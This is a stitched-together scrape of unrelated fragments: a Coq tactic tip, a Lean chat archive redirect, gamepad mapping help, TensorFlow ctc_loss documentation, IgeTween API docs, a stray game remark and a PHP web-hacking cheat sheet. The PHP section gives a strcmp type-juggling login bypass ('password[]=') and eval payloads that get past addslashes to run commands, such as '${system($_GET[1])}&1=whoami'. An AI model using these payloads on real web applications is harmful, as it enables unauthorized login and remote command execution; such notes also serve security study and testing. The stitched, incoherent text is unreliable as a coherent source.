either by "unfold not; auto" if False-elimination is not needed,
or by tauto in the other case.
Going home
Pierre Castéran


---
layout: archive
title: Lean Prover Zulip Chat Archive
permalink: 113488general/84452finsetsingletonxvsx.html
---
The archive URL format has changed. Please find this page at:
https://leanprover-community.github.io/archive/stream/113488-general/topic/.22finset.2Esingleton.20x.22.20vs.20.22.7Bx.7D.22.html


When a gamepad is connected it will be indicated in one one of the "Gamepad #" tabs.
In the same tab, a connected Gamepad will have either a red, yellow, or green icon to indicate it's readiness.
Red is disconnected.
Yellow is connected but no gamepad button map was found.
Green is connected and a gamepad button map was found.
There are two types of mappings: "internal" and "user".
"internal" are built-in mappings and include a mapping for a standard gamepad and also some gamepads that I either have or have created button mappings for.
"user" mappings are mappings that are created by the user. These are saved and loaded from HTML5 Local Storage and can be downloaded and restored if desired.
NOTE: The "user" mappings are checked first which means that a "user" button mapping can override an "internal" button mapping.


Computes the CTC (Connectionist Temporal Classification) Loss.
tf.compat.v1.nn.ctc_loss( labels, inputs=None, sequence_length=None, preprocess_collapse_repeated=False, ctc_merge_repeated=True, ignore_longer_outputs_than_inputs=False, time_major=True, logits=None )
This op implements the CTC loss as presented in the article:
sequence_length(b) <= time for all b max(labels.indices(labels.indices[:, 1] == b, 2)) <= sequence_length(b) for all b.
This class performs the softmax operation for you, so inputs should be e.g. linear projections of outputs by an LSTM.
The inputs
Tensor's innermost dimension size, num_classes
, represents
num_labels + 1
classes, where num_labels is the number of true labels, and
the largest value (num_classes - 1)
is reserved for the blank label.
For example, for a vocabulary containing 3 labels [a, b, c]
,
num_classes = 4
and the labels indexing is {a: 0, b: 1, c: 2, blank: 3}
.
Regarding the arguments preprocess_collapse_repeated
and
ctc_merge_repeated
:
If preprocess_collapse_repeated
is True, then a preprocessing step runs
before loss calculation, wherein repeated labels passed to the loss
are merged into single labels. This is useful if the training labels come
from, e.g., forced alignments and therefore have unnecessary repetitions.
If ctc_merge_repeated
is set False, then deep within the CTC calculation,
repeated non-blank labels will not be merged and are interpreted
as individual labels. This is a simplified (non-standard) version of CTC.
Here is a table of the (roughly) expected first order behavior:
preprocess_collapse_repeated=False
, ctc_merge_repeated=True
Classical CTC behavior: Outputs true repeated classes with blanks in between, and can also output repeated classes with no blanks in between that need to be collapsed by the decoder.
preprocess_collapse_repeated=True
, ctc_merge_repeated=False
Never learns to output repeated classes, as they are collapsed in the input labels before training.
preprocess_collapse_repeated=False
, ctc_merge_repeated=False
Outputs repeated classes with blanks in between, but generally does not require the decoder to collapse/merge repeated classes.
preprocess_collapse_repeated=True
, ctc_merge_repeated=True
Untested. Very likely will not learn to output repeated classes.
The ignore_longer_outputs_than_inputs
option allows to specify the behavior
of the CTCLoss when dealing with sequences that have longer outputs than
inputs. If true, the CTCLoss will simply return zero gradient for those
items, otherwise an InvalidArgument error is returned, stopping training.
labels
: An int32
SparseTensor
.
labels.indices[i, :] == [b, t]
means labels.values[i]
stores the id
for (batch b, time t). labels.values[i]
must take on values in [0,
num_labels)
. See core/ops/ctc_ops.cc
for more details.inputs
: 3-D float
Tensor
.
If time_major == False, this will be a Tensor
shaped: [batch_size,
max_time, num_classes]
.
If time_major == True (default), this will be a Tensor
shaped:
[max_time, batch_size, num_classes]
. The logits.sequence_length
: 1-D int32
vector, size [batch_size]
. The sequence
lengths.preprocess_collapse_repeated
: Boolean. Default: False. If True, repeated
labels are collapsed prior to the CTC calculation.ctc_merge_repeated
: Boolean. Default: True.ignore_longer_outputs_than_inputs
: Boolean. Default: False. If True,
sequences with longer outputs than inputs will be ignored.time_major
: The shape format of the inputs
Tensors. If True, these
Tensors
must be shaped [max_time, batch_size, num_classes]
. If False,
these Tensors
must be shaped [batch_size, max_time, num_classes]
.
Using time_major = True
(default) is a bit more efficient because it
avoids transposes at the beginning of the ctc_loss calculation. However,
most TensorFlow data is batch-major, so by this function also accepts
inputs in batch-major form.logits
: Alias for inputs.A 1-D float
Tensor
, size [batch]
, containing the negative log
probabilities.
TypeError
: if labels is not a SparseTensor
.


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IgeTween CLASS
Declared in IgeTween.js
Creates a new tween instance.
Methods
targetObj
Sets the object in which the properties to tween exist.
targetObj({} targetObj)
Returns {*}
properties
Sets the tween's target properties to tween to.
properties({} propertyObj)
Returns {*}
repeatMode
Gets / sets the repeat mode for the tween. If the mode is set to 1 the tween will repeat from the first step. If set to 2 the tween will reverse the order of the steps each time the repeat occurs. The count determines the number of times the tween will be repeated before stopping. Setting the count to -1 will make it repeat infinitely.
repeatMode({} val, {} count)
Returns {*}
repeatCount
Gets / sets the repeat count. The count determines the number of times the tween will be repeated before stopping. Setting the count to -1 will make it repeat infinitely. This setting is used in conjunction with the repeatMode() method. If you just set a repeat count and no mode then the tween will not repeat.
repeatCount({} val)
Returns {*}
step
DEPRECIATED, Renamed to stepTo().
step()
stepTo
Defines a step in a multi-stage tween. Uses the properties as destination value.
stepTo({Object} propertyObj, {Number} durationMs, {String} easing, {Boolean} delta)
- {Object}propertyObj The properties to tween during this step.
- {Number}durationMs The number of milliseconds to spend tweening this step, or if not provided uses the current tween durationMs setting.
- {String}easing The name of the easing method to use during this step.
- {Boolean}delta If true will set the step to use delta values instead of absolute values as the destination.
Returns {*}
stepBy
Defines a step in a multi-stage tween. Uses the properties as deltas, not as destination values
stepBy({Object} propertyObj, {Number} durationMs, {String} easing)
- {Object}propertyObj The properties to tween during this step.
- {Number}durationMs The number of milliseconds to spend tweening this step, or if not provided uses the current tween durationMs setting.
- {String}easing The name of the easing method to use during this step.
Returns {*}
duration
Sets the duration of the tween in milliseconds.
duration({} durationMs)
Returns {*}
beforeTween
Sets the method to be called just before the tween has started.
beforeTween({} callback)
Returns {*}
afterTween
Sets the method to be called just after the tween has ended.
afterTween({} callback)
Returns {*}
beforeStep
Sets the method to be called just before a tween step has started.
beforeStep({} callback)
Returns {*}
afterStep
Sets the method to be called just after a tween step has ended.
afterStep({} callback)
Returns {*}
afterChange
Sets the method to be called just after a tween has changed the values of the target object every update tick.
afterChange({} callback)
Returns {*}
targetObject
Returns the object that this tween is modifying.
targetObject()
Returns {*}
easing
Sets the name of the easing method to use with the tween.
easing({} methodName)
Returns {*}
startTime
Sets the timestamp at which the tween should start.
startTime({} timeMs)
Returns {*}
start
Starts the tweening operation.
start({Number} timeMs)
- {Number}timeMs If set, the tween will start this many milliseconds in the future.
stop
Stops the tweening operation.
stop()
startAll
Starts all tweens registered to an object.
startAll()
stopAll
Stops all tweens registered to an object.
stopAll()


Avenger Adventurer Pack
This pack is not that important because it has very low awesome players
Just scuba characters


PHP
Here are some tricks to try in PHP web applications.
Type Juggling
The following image shows the result of comparing types with the ==
operator.
Resources
strcmp(): Vulnerable function
- Vulnerable code
1 2 3 |
|
- In this comparison a string is expected (Default from HTTP), but we can send an empty array:
password[]=
in the form. - Then the function
strcmp(array(),$PASS)
will returnNULL
- As we seen in the image,
NULL == 0 -> True
- Login bypass!
Eval
Eval'd code will be executed, but sometimes we have to bypass some functions that will escape our injection.
addslashes()
addslashes()
tries to escape some characters. By definition on the PHP page
Quote
Returns a string with backslashes added before characters that need to be escaped. These characters are:
- single quote (')
- double quote (")
- backslash (\)
- NUL (the NUL byte)
-
What we can do is try to play around the valid characters with something known as "Complex Syntax" or "Complex Curly Syntax (CCS)"
- For example, if we have the following code:
1 2 3 4
<?php $var = addslashes($_GET['param']); eval(function("bla".$var."blah")); ?>
Info
If we put in
param
something to try RCE ( like); system(<RCE>)
) we find that due toaddslashes
we can't pass arguments to the system function.-
So, we need to use CCS to bypass this, below are 2 examples
1 2 3 4 5 6 7 8
<?php # Using chr to avoid using blank spaces ${(system)(ls.chr(32).chr(45).la)} # Using another GET parameter to cast the argument to String type ${system($_GET[1])}&1=whoami # Or with eval (taken from https://www.programmersought.com/article/30723400042/) ?str=${eval($_GET[1])}&1=phpinfo(); ?>


{% raw %} {% extends "layout.html" %} {% block content %}
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